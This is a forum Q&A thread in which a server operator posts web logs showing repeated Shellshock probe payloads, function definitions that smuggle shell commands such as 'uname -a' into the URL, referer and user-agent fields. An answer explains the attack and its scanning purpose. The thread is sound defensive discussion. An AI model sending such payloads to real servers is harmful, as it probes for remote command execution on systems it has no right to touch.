1

I've noticed some suspicious activity in my webser logs:

188.165.66.110 - - [20/Feb/2015:03:58:28 +0000] "GET /?x=()?x=()?x=()?x=() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @ HTTP/1.0" 301 178 "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @" "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @"

188.165.66.110 - - [20/Feb/2015:03:58:23 +0000] "GET /?x=()?x=() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @ HTTP/1.0" 301 178 "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @" "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @"

188.165.66.110 - - [20/Feb/2015:03:58:23 +0000] "GET /?x=()?x=()?x=() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @ HTTP/1.0" 301 178 "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @" "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @"

188.165.66.110 - - [20/Feb/2015:03:58:17 +0000] "GET /?x=() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @ HTTP/1.0" 301 178 "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @" "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @"

176.190.169.100 - - [19/Feb/2015:20:06:36 +0000] "\x9B9\x8C\x13s\xF2\xE2^T\x1BL\x07\xE8\x22\x1CY4\x91`\x0F\x0ELh\xDCXEeZ\x87\x8E/\x5C\x903\xEF\x1F\x07\xD9[J" 400 166 "-" "-"</code><br><br> <code>109.239.221.237 - - [19/Feb/2015:20:07:16 +0000] "6\x92@\x88u\xD3+/\xD2\xD2\xFE\x98\xF4C\xB3\x89\x04;\xA7\xF1U\xF8\xA5\x02\xD8\xA4\xCCK\x9F\xC6e\x11" 400 166 "-" "-"

Any ideas what he was trying to achieve here?

7

This is an known attack, Shellshock. On servers with a vulnerable bash shell, the attacker can exploit an condition that executes shell commands by sending a special crafted URL.

Basically, the attacker is scanning your server to see if it is vulnerable to it. If your server was found to be vulnerable, probably you would see a few wget/curl being sent in the URLs as well.

  • 3
    To test if you're vulnerable, please visit: shellshocker.net/#websitetest – Jeroen Feb 20 '15 at 19:25
  • Thanks for that. I've patched up my server long time ago. – Paul Feb 21 '15 at 22:05

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.